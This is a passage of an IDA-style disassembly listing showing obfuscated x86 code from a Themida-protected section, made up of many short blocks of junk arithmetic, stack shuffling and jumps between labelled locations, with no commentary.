; ---------------------------------------------------------------------------
loc_554B27: ; CODE XREF: Themida_:00553BD7j
not cl
jmp loc_554CCB
; ---------------------------------------------------------------------------
loc_554B2E: ; CODE XREF: Themida_:005614D3j
add ecx, eax
jmp loc_554546
; ---------------------------------------------------------------------------
loc_554B35: ; CODE XREF: Themida_:0055B0EBj
add edx, ebx
pop ebx
push ecx
jmp loc_5654A1
; ---------------------------------------------------------------------------
loc_554B3E: ; CODE XREF: Themida_:0055240Dj
push esi
push edi
push ecx
mov ecx, 5E991793h
xor ecx, 1F3E7B3Ch
mov edi, ecx
jmp loc_555320
; ---------------------------------------------------------------------------
loc_554B53: ; CODE XREF: Themida_:0055EDD1j
mov bh, 0C4h
and al, bh
pop ebx
push edx
mov dl, 85h
add al, 95h
jmp loc_56466E
; ---------------------------------------------------------------------------
loc_554B62: ; CODE XREF: Themida_:0055D53Cj
mov [esp], ecx
jmp loc_560CDD
; ---------------------------------------------------------------------------
loc_554B6A: ; CODE XREF: Themida_:005528B2j
pop edx
jmp loc_560B89
; ---------------------------------------------------------------------------
loc_554B70: ; CODE XREF: Themida_:00563421j
push ebx
mov ebx, 3F3F31D8h
add eax, ebx
mov ebx, [esp]
add esp, 4
pop ebx
pop ecx
push ebx
jmp loc_55802F
; ---------------------------------------------------------------------------
loc_554B89: ; CODE XREF: Themida_:0055C556j
add esp, 4
push eax
mov eax, 4
jmp loc_559520
; ---------------------------------------------------------------------------
loc_554B97: ; CODE XREF: Themida_:0055B104j
push 6732h
mov [esp], ecx
sub dword ptr [esp], 0EB25A30h
pop ebx
add ebx, 0EB25A30h
jmp loc_55E7AD
; ---------------------------------------------------------------------------
loc_554BB2: ; CODE XREF: Themida_:0055B9E6j
push ebx
push edx
mov edx, 43732162h
add edx, 1EE12424h
mov ebx, edx
pop edx
sub ebx, 0FB992D64h
xor edi, ebx
pop ebx
xor edi, 1C966020h
xchg ecx, edi
not ecx
xchg ecx, edi
jmp loc_5602DC
; ---------------------------------------------------------------------------
loc_554BDC: ; CODE XREF: Themida_:0055ADFCj
push edx
push dword ptr [esp+4]
push dword ptr [esp]
pop edx
push 51E2h
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_55FE2B
; ---------------------------------------------------------------------------
loc_554C01: ; CODE XREF: Themida_:0055D298j
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_554961
; ---------------------------------------------------------------------------
loc_554C0D: ; CODE XREF: Themida_:00550D5Bj
push esi
push ebx
mov ebx, 0AF37782h
mov esi, ebx
jmp loc_5607A7
; ---------------------------------------------------------------------------
loc_554C1B: ; CODE XREF: Themida_:0055E2A9j
pop edx
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 1
jmp loc_554450
; ---------------------------------------------------------------------------
loc_554C3A: ; CODE XREF: Themida_:005597D2j
push ebp
mov ebp, 13666E6Ch
sub esp, 4
mov [esp], ebp
jmp loc_5559D2
; ---------------------------------------------------------------------------
loc_554C4E: ; CODE XREF: Themida_:0055659Fj
mov edi, [esp]
add esp, 4
sub esi, 2
jmp loc_55731D
; ---------------------------------------------------------------------------
loc_554C62: ; CODE XREF: Themida_:0055835Fj
mov edx, edi
mov edi, [esp]
add esp, 4
xor ebx, edx
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_55296C
; ---------------------------------------------------------------------------
loc_554C7D: ; CODE XREF: Themida_:0055629Cj
xchg edx, esi
xchg esi, [esp]
push dword ptr [esp]
pop edx
jmp loc_560AAD
; ---------------------------------------------------------------------------
loc_554C8B: ; CODE XREF: Themida_:00550DF1j
sub dh, 96h
pop ecx
or bl, dh
pop edx
sub esp, 4
mov [esp], ecx
mov ch, 0BBh
jmp loc_553AEE
; ---------------------------------------------------------------------------
loc_554CA2: ; CODE XREF: Themida_:0056268Bj
push bx
mov bl, 5
jmp loc_565437
; ---------------------------------------------------------------------------
loc_554CAB: ; CODE XREF: Themida_:00556970j
mov ecx, 22677B1Ch
jmp loc_5562A1
; ---------------------------------------------------------------------------
loc_554CB5: ; CODE XREF: Themida_:00556073j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_554CBA: ; CODE XREF: Themida_:00557DA7j
sub esi, 8AB65A7h
add esi, 66B7164h
jmp loc_55829D
; ---------------------------------------------------------------------------
loc_554CCB: ; CODE XREF: Themida_:00554B29j
xor cl, 91h
neg cl
jmp loc_5635AD
; ---------------------------------------------------------------------------
loc_554CD5: ; CODE XREF: Themida_:00552A5Aj
xchg ebx, [esp]
mov esi, [esp]
jmp loc_56521C
; ---------------------------------------------------------------------------
loc_554CE0: ; CODE XREF: Themida_:00563C17j
mov [esp], eax
push 7002h
mov [esp], edx
jmp loc_55E018
; ---------------------------------------------------------------------------
loc_554CF0: ; CODE XREF: Themida_:00559E78j
push 6F6Eh
mov [esp], eax
jmp loc_55681F
; ---------------------------------------------------------------------------
loc_554CFD: ; CODE XREF: Themida_:0056387Aj
mov ebx, 0BEB3D45h
neg ebx
xor ebx, 53D122E4h
shr ebx, 5
sub ebx, 0C520D93Ch
mov eax, ebx
pop ebx
or eax, 20D40F35h
jmp loc_5588B8
; ---------------------------------------------------------------------------
loc_554D20: ; CODE XREF: Themida_:00560ABDj
pop esp
jmp loc_56280A
; ---------------------------------------------------------------------------
loc_554D26: ; CODE XREF: Themida_:00563FDDj
mov esi, esp
add esi, 4
jmp loc_555945
; ---------------------------------------------------------------------------
loc_554D33: ; CODE XREF: Themida_:0055E094j
sub ch, 60h
push ebx
mov bl, 12h
inc bl
inc bl
not bl
sub bl, 24h
shl bl, 3
add bl, 2Fh
or ch, bl
mov ebx, [esp]
add esp, 4
sub ch, 2Eh
mov bh, ch
mov ecx, [esp]
add esp, 4
shl bh, 1
shr bh, 2
and bh, 0A8h
dec bh
not bh
add bh, 0BAh
add al, 73h
jmp loc_55286D
; ---------------------------------------------------------------------------
loc_554D74: ; CODE XREF: Themida_:00555D53j
xchg edi, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
push edx
jmp loc_5540E3
; ---------------------------------------------------------------------------
loc_554D84: ; CODE XREF: Themida_:00550F85j
push edi
pop ebp
pop edi
or edx, ebp
jmp loc_55B206
; ---------------------------------------------------------------------------
loc_554D8E: ; CODE XREF: Themida_:00556F07j
add ebx, edx
add ebx, 610856B7h
sub ebx, 44717C5Ch
jmp loc_552A36
; ---------------------------------------------------------------------------
loc_554DA1: ; CODE XREF: Themida_:0055834Bj
add esp, 4
push edx
mov dh, 0ACh
add al, dh
pop edx
jmp loc_550612
; ---------------------------------------------------------------------------
loc_554DB2: ; CODE XREF: Themida_:0055B9FAj
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
jmp loc_559331
; ---------------------------------------------------------------------------
loc_554DD1: ; CODE XREF: Themida_:00560144j
push eax
mov eax, 12BF6E25h
add edx, eax
pop eax
pop esi
push edi
jmp loc_565687
; ---------------------------------------------------------------------------
loc_554DE1: ; CODE XREF: Themida_:0055D587j
pop small word ptr [edi+eax*4]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_554DEA: ; CODE XREF: Themida_:0055B62Aj
mov edi, 4B7308BBh
xor edx, edi
pop edi
add esi, edx
pop edx
add esi, 4
xchg esi, [esp]
mov esp, [esp]
loc_554E01: ; CODE XREF: Themida_:00551819j
push 42B8h
mov [esp], ebx
push dword ptr [esp]
mov ebx, [esp]
push ebp
mov ebp, esp
push edx
mov edx, 2C314EFDh
neg edx
jmp loc_555138
; ---------------------------------------------------------------------------
loc_554E1F: ; CODE XREF: Themida_:00551109j
sub esp, 4
mov [esp], edi
push esp
pop edi
push ebp
jmp loc_551C9A
; ---------------------------------------------------------------------------
loc_554E2D: ; CODE XREF: Themida_:0055D2B0j
add ecx, ebp
pop ebp
add ecx, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov eax, [esp]
push ecx
push esp
pop ecx
push edi
mov edi, 4
jmp loc_552B50
; ---------------------------------------------------------------------------
loc_554E5B: ; CODE XREF: Themida_:005511A3j
mov edi, 4
add eax, edi
jmp loc_55D27F
; ---------------------------------------------------------------------------
loc_554E67: ; CODE XREF: Themida_:0056419Fj
mov dl, al
mov cl, dl
jmp loc_562F35
; ---------------------------------------------------------------------------
loc_554E70: ; CODE XREF: Themida_:00564937j
xchg eax, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5577C8
; ---------------------------------------------------------------------------
loc_554E7F: ; CODE XREF: Themida_:005636E3j
push esp
pop ebp
push ebx
mov ebx, 4
jmp loc_557435
; ---------------------------------------------------------------------------
loc_554E8C: ; CODE XREF: Themida_:00553D02j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_554E91: ; CODE XREF: Themida_:00565230j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xchg ebx, [esp]
mov esp, [esp]
mov ax, [esp]
push edi
mov edi, esp
push eax
push edx
jmp loc_55E6AD
; ---------------------------------------------------------------------------
loc_554EB4: ; CODE XREF: Themida_:00558562j
push ebp
mov ebp, 4
jmp loc_554FF7
; ---------------------------------------------------------------------------
loc_554EBF: ; CODE XREF: Themida_:00550980j
sub edi, ebp
pop ebp
push edx
mov edx, 7A167DB7h
jmp loc_56264E
; ---------------------------------------------------------------------------
loc_554ECD: ; CODE XREF: Themida_:0055DCFCj
add esp, 4
add eax, 411C7846h
sub eax, ebx
sub eax, 411C7846h
push ecx
mov ecx, 6E031FF6h
xor ecx, 3B781B7Fh
neg ecx
sub ecx, 0B6C3A15h
jmp loc_559039
; ---------------------------------------------------------------------------
loc_554EF8: ; CODE XREF: Themida_:00562F14j
not esi
jmp loc_562C39
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_555B90
; ---------------------------------------------------------------------------
loc_554F07: ; CODE XREF: Themida_:0055CED2j
add esp, 4
jmp loc_55C8EA
; ---------------------------------------------------------------------------
loc_554F0F: ; CODE XREF: Themida_:0055B014j
sub dh, 0FFh
jmp loc_5528A7
; ---------------------------------------------------------------------------
loc_554F17: ; CODE XREF: Themida_:0055F314j
push dword ptr [esp]
mov ebx, [esp]
sub esp, 4
jmp loc_560BB6
; ---------------------------------------------------------------------------
loc_554F25: ; CODE XREF: Themida_:0056175Dj
sub ecx, 3C52D6Fh
neg ecx
push eax
mov eax, 3CFFB71h
jmp loc_55F2A2
; ---------------------------------------------------------------------------
loc_554F38: ; CODE XREF: Themida_:0055D03Aj
add al, bl
pop ebx
mov ebx, [esp]
add esp, 4
push eax
mov al, 0B8h
shl al, 8
push cx
push edx
push ebx
mov bl, 0F0h
mov dl, bl
pop ebx
mov ch, dl
pop edx
add al, 12h
add al, 48h
add al, ch
jmp loc_55CC9D
; ---------------------------------------------------------------------------
loc_554F5E: ; CODE XREF: Themida_:0055992Fj
mov esi, 267E10BCh
sub ecx, esi
pop esi
add ecx, 2B75B59Fh
add ebx, ecx
pop ecx
pop ebp
jmp loc_564BC6
; ---------------------------------------------------------------------------
loc_554F75: ; CODE XREF: Themida_:0055FB62j
push eax
mov eax, 0B6163BBFh
add edi, 36115B46h
add edi, eax
push ebp
mov ebp, 3F350953h
inc ebp
jmp loc_551831
; ---------------------------------------------------------------------------
loc_554F8F: ; CODE XREF: Themida_:00552A38j
push 2
jmp loc_562EB2
; ---------------------------------------------------------------------------
loc_554F99: ; CODE XREF: Themida_:005550F2j
pop ecx
sub esp, 4
mov [esp], eax
jmp loc_55F27E
; ---------------------------------------------------------------------------
loc_554FA5: ; CODE XREF: Themida_:0055075Bj
mov ecx, 390612F8h
xor ecx, 161C79F5h
xor ecx, 66893435h
sub ebx, ecx
pop ecx
jmp loc_552D42
; ---------------------------------------------------------------------------
loc_554FBE: ; CODE XREF: Themida_:00557B6Fj
pop ecx
jmp loc_559C28
; ---------------------------------------------------------------------------
loc_554FC4: ; CODE XREF: Themida_:00555632j
shl ebx, 8
or ebx, 0F974C22h
not ebx
push ebp
mov ebp, 61097FD5h
dec ebp
sub ebp, 2C5F0315h
jmp loc_562507
; ---------------------------------------------------------------------------
loc_554FE1: ; CODE XREF: Themida_:00559B68j
xchg edx, [esp]
pop ebp
push edi
push ebp
pop edi
pop ebp
add edi, 0FFFFFFFFh
xor edi, 0E67080A4h
jmp loc_550805
; ---------------------------------------------------------------------------
loc_554FF7: ; CODE XREF: Themida_:00554EBAj
sub dword ptr [esp+4], 404F5D17h
add dword ptr [esp+4], 2B88194Eh
jmp loc_55A8F9
; ---------------------------------------------------------------------------
loc_55500C: ; CODE XREF: Themida_:00552007j
xchg ch, [esp+1]
not ch
xchg ch, [esp+1]
push dword ptr [esp]
jmp loc_560C3D
; ---------------------------------------------------------------------------
loc_55501E: ; CODE XREF: Themida_:005600C5j
add edi, 6FF37307h
and edi, 321E761Bh
sub edi, 200A2207h
jmp loc_561AA0
; ---------------------------------------------------------------------------
loc_555035: ; CODE XREF: Themida_:0055C351j
and ecx, ebp
jmp loc_55B30C
; ---------------------------------------------------------------------------
loc_55503C: ; CODE XREF: Themida_:0055ED3Cj
mov edi, 4
add eax, edi
pop edi
sub esp, 4
mov [esp], edi
mov edi, 4
sub eax, edi
jmp loc_55FA06
; ---------------------------------------------------------------------------
loc_555059: ; CODE XREF: Themida_:00558DF8j
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_55B8B8
; ---------------------------------------------------------------------------
loc_555073: ; CODE XREF: Themida_:0055A7DBj
add esp, 4
push 215Ah
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_555093: ; CODE XREF: Themida_:0055F2E2j
pop ebp
sub esp, 4
mov [esp], esi
push ebp
push dword ptr [esp]
pop esi
add esp, 4
pop ebp
add ebp, 0FFFFFFFFh
xchg ebp, esi
xor esi, 5B5F7FBAh
push eax
mov eax, 30h
add eax, 7B0A5700h
add eax, edx
jmp loc_55CBFB
; ---------------------------------------------------------------------------
loc_5550C6: ; CODE XREF: Themida_:00557844j
push 5984h
mov [esp], edx
push ecx
mov ecx, 5B005E76h
neg ecx
jmp loc_556726
; ---------------------------------------------------------------------------
loc_5550DB: ; CODE XREF: Themida_:00561062j
push edx
mov dl, 1Fh
sub bh, dl
pop edx
xor al, bh
pop ebx
jmp loc_55D582
; ---------------------------------------------------------------------------
loc_5550E9: ; CODE XREF: Themida_:00552A50j
mov dword ptr [ecx], 0
push dword ptr [esp]
jmp loc_554F99
; ---------------------------------------------------------------------------
loc_5550F7: ; CODE XREF: Themida_:0055C111j
pop esp
jmp loc_56437B
; ---------------------------------------------------------------------------
loc_5550FD: ; CODE XREF: Themida_:0055AAD4j
mov cl, 64h
and bl, cl
jmp loc_550DFD
; ---------------------------------------------------------------------------
loc_555106: ; CODE XREF: Themida_:005626DCj
mov esp, [esp]
xor eax, esi
push dword ptr [esp]
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_55CB47
; ---------------------------------------------------------------------------
loc_555125: ; CODE XREF: Themida_:0055D6A0j
add edx, 540C7F6Ah
add edx, eax
sub edx, 540C7F6Ah
jmp loc_551758
; ---------------------------------------------------------------------------
loc_555138: ; CODE XREF: Themida_:00554E1Aj
shr edx, 8
xor edx, 7E520F57h
shr edx, 2
jmp loc_555EFC
; ---------------------------------------------------------------------------
loc_555149: ; CODE XREF: Themida_:0055FF65j
push 643E2B1Fh
jmp loc_55BC11
; ---------------------------------------------------------------------------
loc_555153: ; CODE XREF: Themida_:0055C57Aj
mov ecx, [esp]
add esp, 4
xor edx, ebp
jmp loc_557B89
; ---------------------------------------------------------------------------
loc_555160: ; CODE XREF: Themida_:00556C2Cj
shr edi, 3
shr edi, 4
dec edi
shr edi, 1
xchg ebx, edi
inc ebx
xchg ebx, edi
jmp loc_5544B0
; ---------------------------------------------------------------------------
loc_555173: ; CODE XREF: Themida_:00556EC6j
push edi
dec dword ptr [esp]
jmp loc_55BBBF
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55CB75
; ---------------------------------------------------------------------------
loc_555185: ; CODE XREF: Themida_:00552719j
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 2C256FEBh
dec ebx
jmp loc_55D2C7
; ---------------------------------------------------------------------------
loc_55519A: ; CODE XREF: Themida_:00552B6Fj
sub esi, 324D7944h
jmp loc_55E55B
; ---------------------------------------------------------------------------
loc_5551A5: ; CODE XREF: Themida_:00558047j
sub dh, 87h
sub al, dh
mov edx, [esp]
push ebx
jmp loc_558D6C
; ---------------------------------------------------------------------------
loc_5551B3: ; CODE XREF: Themida_:00558AD9j
mov [esp], edi
mov edi, edx
push edi
add dword ptr [esp], 5E863B2h
pop ebx
jmp loc_565343
; ---------------------------------------------------------------------------
loc_5551C6: ; CODE XREF: Themida_:00551BF9j
pop eax
add ebp, esi
mov esi, [esp]
add esp, 4
xor edx, ebp
pop ebp
and ecx, edx
jmp loc_55414C
; ---------------------------------------------------------------------------
loc_5551D9: ; CODE XREF: Themida_:0055EF2Ej
sub ebx, 0FFFFFFFFh
sub ebx, 41F77DDCh
add ebx, 57E74FA6h
add ebx, 0B959CD97h
xor ecx, ebx
pop ebx
dec ecx
or ecx, 7DD33591h
jmp loc_55F982
; ---------------------------------------------------------------------------
loc_555200: ; CODE XREF: Themida_:00558246j
sub esi, 27F572Fh
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
sub edx, esi
mov esi, [esp]
add esp, 4
jmp loc_550420
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
pop dword ptr [esp]
push 64A9h
mov [esp], edx
jmp loc_562A70
; ---------------------------------------------------------------------------
loc_555259: ; CODE XREF: Themida_:00562257j
pop eax
add ebx, 2
push ecx
push esp
pop ecx
jmp loc_5572E0
; ---------------------------------------------------------------------------
loc_555268: ; CODE XREF: Themida_:0055F3D0j
xor al, bh
jmp loc_55E6F0
; ---------------------------------------------------------------------------
loc_55526F: ; CODE XREF: Themida_:0055DDC3j
xor eax, 79C3D90h
not eax
jmp loc_558E33
; ---------------------------------------------------------------------------
loc_55527B: ; CODE XREF: Themida_:00554721j
push 683Ah
mov [esp], edi
mov edi, 4C1E6558h
sub edx, edi
jmp loc_55EB2D
; ---------------------------------------------------------------------------
loc_55528F: ; CODE XREF: Themida_:0055EFABj
mov esi, 294E16BFh
jmp loc_5530AF
; ---------------------------------------------------------------------------
loc_555299: ; CODE XREF: Themida_:00564AD2j
sub edi, 758004Fh
sub edi, 0FFFFFFFFh
push ebp
jmp loc_561EA9
; ---------------------------------------------------------------------------
loc_5552A8: ; CODE XREF: Themida_:0055046Aj
mov ebx, 7DA293Ch
mov edi, 7DA2940h
jmp loc_551095
; ---------------------------------------------------------------------------
loc_5552B7: ; CODE XREF: Themida_:00560F3Ej
mov ecx, 66D512FFh
jmp loc_558BE3
; ---------------------------------------------------------------------------
loc_5552C1: ; CODE XREF: Themida_:005638B4j
sub [edi+24h], ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_560C6E
; ---------------------------------------------------------------------------
loc_5552DB: ; CODE XREF: Themida_:0056082Cj
sub al, dl
add al, 0C7h
jmp loc_552A28
; ---------------------------------------------------------------------------
loc_5552E4: ; CODE XREF: Themida_:00558D67j
mov esp, [esp]
ror byte ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5552F0: ; CODE XREF: Themida_:005509DCj
pop esp
jmp loc_55A7EF
; ---------------------------------------------------------------------------
loc_5552F6: ; CODE XREF: Themida_:0055C9D5j
sub ecx, eax
pop eax
push dword ptr [esp]
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
mov esi, ecx
pop ecx
and [edi+1Ch], esi
jmp loc_56463F
; ---------------------------------------------------------------------------
loc_555320: ; CODE XREF: Themida_:00554B4Ej
pop ecx
jmp loc_561F20
; ---------------------------------------------------------------------------
loc_555326: ; CODE XREF: Themida_:0055FE64j
pop ebx
jmp loc_565362
; ---------------------------------------------------------------------------
loc_55532C: ; CODE XREF: Themida_:0056128Aj
push dword ptr [esp]
pop ebx
jmp loc_553DC6
; ---------------------------------------------------------------------------
loc_555335: ; CODE XREF: Themida_:0055F6F5j
add eax, 716259A2h
sub eax, esi
push edi
jmp loc_55639A
; ---------------------------------------------------------------------------
loc_555342: ; CODE XREF: Themida_:0055994Ej
add edi, 4
add edi, 2
jmp loc_552472
; ---------------------------------------------------------------------------
loc_555350: ; CODE XREF: Themida_:0055EA8Dj
mov ecx, [esp]
push ecx
mov ecx, esp
push edx
jmp loc_55DED2
; ---------------------------------------------------------------------------
loc_55535C: ; CODE XREF: Themida_:00564387j
mov [esp], edi
mov edi, esp
sub esp, 4
mov [esp], ebx
mov ebx, 9285E45h
and ebx, 1F837E8Ch
shr ebx, 4
jmp loc_5614C5
; ---------------------------------------------------------------------------
loc_55537A: ; CODE XREF: Themida_:00551083j
add bl, al
sub bl, 80h
sub bl, 5Bh
pop eax
push ecx
push 6531h
jmp loc_55FEAD
; ---------------------------------------------------------------------------
loc_55538E: ; CODE XREF: Themida_:0055CADEj
add esi, ecx
sub esi, 15DE661Bh
mov ecx, [esp]
add esp, 4
jmp loc_5528B7
; ---------------------------------------------------------------------------
loc_5553A4: ; CODE XREF: Themida_:0055638Bj
pop edi
sub ebx, 6D371430h
jmp loc_557956
; ---------------------------------------------------------------------------
loc_5553B0: ; CODE XREF: Themida_:00551C20j
add bl, 0DCh
pop ecx
push ecx
mov cl, 62h
or bl, cl
pop ecx
push eax
jmp loc_555482
; ---------------------------------------------------------------------------
loc_5553C0: ; CODE XREF: Themida_:005653C6j
pop edi
jmp loc_552D93
; ---------------------------------------------------------------------------
loc_5553C6: ; CODE XREF: Themida_:00562EADj
mov edx, eax
jmp loc_553419
; ---------------------------------------------------------------------------
loc_5553CD: ; CODE XREF: Themida_:005630D1j
shl al, 6
push ebx
mov bh, 3Bh
and bh, 0AAh
xor bh, 94h
add bh, 0F9h
xor al, bh
pop ebx
add al, 40h
and dl, al
jmp loc_557338
; ---------------------------------------------------------------------------
loc_5553E8: ; CODE XREF: Themida_:00559EC4j
neg eax
jmp loc_55EBAE
; ---------------------------------------------------------------------------
loc_5553EF: ; CODE XREF: Themida_:00558598j
mov edi, [esp]
add esp, 4
shr ebx, 5
jmp loc_55FE4D
; ---------------------------------------------------------------------------
loc_555400: ; CODE XREF: Themida_:005570B0j
add ecx, edi
pop edi
xchg ecx, [esp]
mov esp, [esp]
add [esp], al
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_555412: ; CODE XREF: Themida_:0055862Fj
pop edx
add edx, 12CC31C5h
add edx, 0FFFFFFFFh
push ebx
jmp loc_5656B7
; ---------------------------------------------------------------------------
loc_555422: ; CODE XREF: Themida_:0055FB8Fj
push edx
push esi
mov esi, 2
jmp loc_55F78A
; ---------------------------------------------------------------------------
loc_55542E: ; CODE XREF: Themida_:00556647j
sub edi, eax
pop eax
add edi, 6CF80090h
sub edi, edx
sub edi, 6CF80090h
add edi, 67BD4FB9h
jmp loc_551DED
; ---------------------------------------------------------------------------
loc_55544A: ; CODE XREF: Themida_:00558DC4j
add edx, 80F961B1h
add ecx, edx
jmp loc_5596B5
; ---------------------------------------------------------------------------
loc_555457: ; CODE XREF: Themida_:0055F223j
mov ecx, 67B942A9h
jmp loc_55D8EE
; ---------------------------------------------------------------------------
loc_555461: ; CODE XREF: Themida_:00558109j
add eax, 877A5A25h
sub edi, eax
pop eax
not edi
sub edi, 0D599BA7Eh
sub eax, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_564256
; ---------------------------------------------------------------------------
loc_555482: ; CODE XREF: Themida_:005553BBj
mov ah, 34h
sub bl, ah
push dword ptr [esp]
pop eax
add esp, 4
sub ch, bl
mov ebx, [esp]
add esp, 4
xor al, ch
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_5655F3
; ---------------------------------------------------------------------------
loc_5554B8: ; CODE XREF: Themida_:005616E6j
push 379B0306h
pop ecx
push ebp
mov ebp, 379B0302h
sub ecx, ebp
mov ebp, [esp]
add esp, 4
mov ebp, ecx
mov ecx, [esp]
add esp, 4
add edi, ebp
pop ebp
jmp loc_55492B
; ---------------------------------------------------------------------------
loc_5554E2: ; CODE XREF: Themida_:005549A2j
push eax
push edx
mov edx, 2765552Ch
sub [esp+4], edx
pop edx
pop esi
jmp loc_5603EB
; ---------------------------------------------------------------------------
loc_5554F4: ; CODE XREF: Themida_:00564CF2j
mov ebp, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
jmp loc_550420
; ---------------------------------------------------------------------------
loc_555508: ; CODE XREF: Themida_:0055DE20j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], ebx
sub dword ptr [esp], 77D57B7Ch
mov eax, [esp]
sub esp, 4
mov [esp], eax
jmp loc_550D42
; ---------------------------------------------------------------------------
loc_55552C: ; CODE XREF: Themida_:005535DFj
sub edi, 357E4BC8h
pop eax
xchg edi, [esp]
mov esp, [esp]
xchg esi, [esp]
pop esp
push 3F67h
mov [esp], edx
push 429C44FDh
pop edx
push ebx
mov ebx, 6B45086Bh
and ebx, 76D461F0h
and ebx, 49B17B0Bh
sub ebx, 1E2BB6F2h
or edx, ebx
pop ebx
shl edx, 2
push 20F0h
mov [esp], eax
mov eax, 562F2AC7h
or edx, eax
mov eax, [esp]
jmp loc_55DEEC
; ---------------------------------------------------------------------------
loc_555580: ; CODE XREF: Themida_:00556F2Dj
or cl, ah
pop eax
push small 0C1Bh
mov [esp], ax
mov ah, 1
jmp loc_560AA6
; ---------------------------------------------------------------------------
loc_555592: ; CODE XREF: Themida_:00553C89j
sub esp, 4
mov [esp], edi
not dword ptr [esp]
mov edi, [esp]
add esp, 4
add edi, 643D9201h
and eax, edi
mov edi, [esp]
jmp loc_5659CB
; ---------------------------------------------------------------------------
lodsb
push edx
jmp loc_5653FD
; ---------------------------------------------------------------------------
loc_5555BB: ; CODE XREF: Themida_:00564FA2j
add esi, 1
jmp loc_563274
; ---------------------------------------------------------------------------
loc_5555C6: ; CODE XREF: Themida_:00562CB4j
add esp, 4
push eax
jmp loc_558B00
; ---------------------------------------------------------------------------
loc_5555D2: ; CODE XREF: Themida_:00550938j
mov al, dl
pop edx
mov bh, [esp+4]
mov [esp+4], al
jmp loc_559B31
; ---------------------------------------------------------------------------
loc_5555E2: ; CODE XREF: Themida_:00564D7Bj
mov edi, ecx
mov ecx, [esp]
add esp, 4
push 53A2h
mov [esp], eax
push ebx
jmp loc_55334F
; ---------------------------------------------------------------------------
loc_5555FB: ; CODE XREF: Themida_:005631ADj
mov eax, 4
add ecx, eax
pop eax
push ecx
jmp loc_5613A3
; ---------------------------------------------------------------------------
loc_555609: ; CODE XREF: Themida_:0056524Cj
sub ecx, 8DF8166h
add ebx, 2E354506h
add ebx, ecx
sub ebx, 2E354506h
pop ecx
mov edx, ebx
pop ebx
push ebp
mov ebp, 7C7644CFh
sub eax, ebp
pop ebp
add eax, edx
push ebx
mov ebx, 56A10305h
jmp loc_554FC4
; ---------------------------------------------------------------------------
loc_555637: ; CODE XREF: Themida_:0055DA88j
dec eax
shl eax, 8
jmp loc_55BBEC
; ---------------------------------------------------------------------------
loc_555640: ; CODE XREF: Themida_:00556E7Dj
pop ebx
pop dword ptr [esp]
mov esp, [esp]
push edi
sub esp, 4
jmp near ptr word_55276A
; ---------------------------------------------------------------------------
loc_555650: ; CODE XREF: Themida_:0056296Cj
mov ecx, [esp]
jmp loc_561755
; ---------------------------------------------------------------------------
loc_555658: ; CODE XREF: Themida_:00559997j
pop ecx
add esp, 4
push ecx
mov ch, 0E7h
and ch, 37h
inc ch
xor ch, 9Bh
dec ch
xor ch, 68h
add al, ch
pop ecx
add al, cl
sub al, 0DAh
push bx
mov bl, 70h
add al, bl
pop bx
pop ecx
push ebp
jmp loc_563A4E
; ---------------------------------------------------------------------------
loc_555682: ; CODE XREF: Themida_:0056326Fj
mov ch, 0B7h
push cx
mov ch, 0D1h
push edx
mov dh, 1Ch
not dh
sub dh, 0D9h
sub dh, 0E9h
jmp loc_564415
; ---------------------------------------------------------------------------
loc_555698: ; CODE XREF: Themida_:00564FFDj
add esi, ebp
mov ebp, [esp]
push edx
mov edx, esp
jmp loc_55D8DC
; ---------------------------------------------------------------------------
loc_5556A5: ; CODE XREF: Themida_:00564E93j
pop edi
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, 6EAF2C66h
sub [esp+4], esi
pop esi
push ebx
mov ebx, 75BA3676h
sub dword ptr [esp+4], 11F5200Ah
jmp loc_557304
; ---------------------------------------------------------------------------
loc_5556DE: ; CODE XREF: Themida_:00559DFAj
push ebx
push ebp
jmp loc_55EFBF
; ---------------------------------------------------------------------------
loc_5556E5: ; CODE XREF: Themida_:0056058Dj
push esi
mov esi, esp
push ebx
mov ebx, 4
add esi, 722065B7h
jmp loc_55E51B
; ---------------------------------------------------------------------------
loc_5556F9: ; CODE XREF: Themida_:005593F5j
push edi
mov edi, 0CBE5C14h
shl edi, 5
